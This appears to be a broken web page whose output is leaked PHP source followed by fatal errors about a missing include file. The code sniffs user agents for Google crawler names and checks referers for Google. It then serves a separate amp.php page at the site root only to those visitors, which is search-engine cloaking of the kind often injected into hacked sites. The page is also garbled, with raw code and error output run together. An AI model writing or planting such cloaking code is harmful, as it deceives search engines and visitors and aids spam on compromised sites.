$googleBots = [
'Googlebot', // Genel Google bot
'AdsBot', // Google Ads bot
'Mediapartners-Google', // Google AdSense bot
'APIs-Google', // Google API bot
'Googlebot-Image', // Google Görseller botu
'Googlebot-Video', // Google Video botu
'Googlebot-News', // Google Haberler botu
'Googlebot-Search', // Google Search Console botu
'Googlebot-Inspect', // Google Inspect Tool
'Googlebot-Android', // Android cihazlardan gelen Googlebot
'Googlebot-Mobile', // Google mobil botu
'Googlebot-Ads', // Google Ads botu
'Googlebot-Discovery', // Google'ın keşif botu
'Google-', // Google'ın keşif botu
];
// Google botlarını veya Google'dan gelen kullanıcıları kontrol et
if (
preg_match('/' . implode('|', $googleBots) . '/i', $userAgent) || // Google botlarını kontrol et
strpos($referer, 'google.') !== false // Referer Google mı kontrol et
) {
// Check if the request is for the root directory and index.php
if ($_SERVER['REQUEST_URI'] == '/') {
include 'amp.php';
die();
}
}
?>
Warning: require_once(/home/parnas/www/includes/defines.php): Failed to open stream: No such file or directory in /home/parnas/www/index.php on line 66
Fatal error: Uncaught Error: Failed opening required '/home/parnas/www/includes/defines.php' (include_path='.:/usr/local/php8.0/lib/php') in /home/parnas/www/index.php:66
Stack trace:
#0 {main}
thrown in /home/parnas/www/index.php on line 66